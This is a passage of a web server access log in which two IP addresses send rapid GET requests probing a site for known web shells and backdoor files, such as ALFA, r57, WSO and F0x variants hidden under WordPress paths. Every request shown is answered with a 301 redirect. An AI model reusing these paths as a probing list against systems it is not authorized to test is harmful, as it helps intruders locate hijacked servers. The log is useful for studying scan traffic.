/ALFA_DATA/alfacgiapi/mini.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:48 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:48 -0400] "GET /ALFA_DATA/alfacgiapi/r57.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:48 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:48 -0400] "GET /ALFA_DATA/alfacgiapi/uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:49 -0400] "GET /ALFA_DATA/alfacgiapi/ups.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:49 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:49 -0400] "GET /wp-content/plugins/html404/cry.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:49 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:49 -0400] "GET /wp-includes/css/F0x.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:50 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:50 -0400] "GET /wp-content/uploads/F0x.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:50 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:50 -0400] "GET /class-wp-widget-archives.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:51 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:51 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:51 -0400] "GET /wp-admin/pages.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:51 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:51 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:51 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:52 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:52 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:52 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:52 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:53 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:53 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:53 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:53 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:54 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:54 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:54 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:54 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:55 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:55 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:55 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:55 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:55 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:56 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:56 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:56 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:56 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:57 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:57 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:57 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:57 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:58 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:58 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:58 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:58 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:59 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:59 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:59 -0400] "GET /fi2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:59 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:59 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:00 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:00 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:00 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:00 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:01 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:01 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:01 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:01 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:02 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:02 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:02 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:03 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:03 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:03 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:03 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:04 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:04 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:04 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:04 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:05 -0400] "GET /images/uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:05 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:05 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:06 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:06 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:06 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:07 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:07 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:07 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:07 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:08 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:08 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:08 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:08 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:09 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:09 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:09 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:09 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:10 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:10 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:10 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:10 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:11 -0400] "GET /xxc.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:11 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:11 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:12 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:12 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:12 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:12 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:13 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:13 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:13 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:13 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:14 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:14 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:14 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:14 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:15 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:15 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:15 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:15 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:15 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:15 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:16 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:16 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:16 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:16 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:18 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:18 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:18 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:18 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:19 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:19 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:20 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:20 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:21 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:22 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:22 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:22 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:23 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:23 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:24 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:24 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:25 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:25 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:25 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:26 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:26 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:26 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:26 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:27 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:27 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:28 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:28 -0400] "GET /.well-known/file.php/ HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:28 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:28 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:29 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:29 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:29 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:29 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:30 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:30 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:30 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:31 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:31 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:31 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:31 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:31 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:32 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:32 -0400] "GET /.well-known/iwpairbj.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:32 -0400] "GET //wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:32 -0400] "GET /wp-admin/css/colors/blue/blkafewl.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:33 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:33 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:34 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:34 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:34 -0400] "GET /wordpress/about.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:34 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:35 -0400] "GET /wp-admin/includes/1975Team.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:35 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:36 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:36 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:37 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:37 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:37 -0400] "GET /wp-content//autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:37 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:38 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:38 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:39 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:39 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:40 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:40 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:41 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:42 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:42 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:42 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:43 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:43 -0400] "GET /wp-content/themes/twentynineteen/inc/ty.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:44 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:44 -0400] "GET /wp-content/uploads/upload_handler.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:45 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:45 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:47 -0400] "GET /defense.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:47 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:49 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:50 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:50 -0400] "GET /wp-admin/user/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:52 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:52 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:52 -0400] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:53 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:54 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:54 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:54 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:55 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:56 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:57 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:58 -0400] "GET /assets/images/ups.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:58 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:02:59 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:02:59 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:00 -0400] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:01 -0400] "GET /wp-content/uploads/ethwwuzd.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:03:01 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:02 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:03:03 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:05 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:03:06 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:08 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:03:08 -0400] "GET /wp-content/plugins/xt HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:09 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:03:10 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:10 -0400] "GET /add_class.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:03:11 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:12 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:13 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:17 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:20 -0400] "GET 